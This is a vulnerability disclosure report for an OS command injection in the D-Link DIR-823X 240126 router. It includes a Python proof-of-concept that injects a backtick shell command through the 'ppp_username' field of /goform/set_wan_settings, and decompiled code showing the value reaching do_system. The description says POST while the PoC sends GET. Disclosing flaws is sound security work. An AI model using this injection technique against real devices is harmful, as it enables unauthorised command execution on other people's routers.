

# CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

## Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

## Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "ppp\_username" in /goform/set\_wan\_settings through a POST request.

## PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_wan_settings?
proto=pppoe&ppp_username=`touch${IFS}/1.txt`&ppp_passwd=1"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-
Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/111.0.5563.65 Safari/537.36\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-
Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
response = s.recv(1024)
```

```
print(response)
s.close()
```

## Cause Analysis

---

The WebsGetvar function accepts external data and it enters do\_system execution, resulting in a command execution vulnerability.

```
1
v12 = WebsGetvar(a1, (__int64)"ppp_username", (__int64) "");
v13 = WebsGetvar(a1, (__int64)"ppp_passwd", (__int64) "");
v14 = strlen(v12);
if ( v14 <= 64 && v14 != 0 )
{
    v16 = strlen(v13);
    if ( v16 <= 64 && v16 != 0 )
    {
        sub_413198(v39);
        do_system((const char *)v40, v12);
    }
}
```

## Suggested Fix

---

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.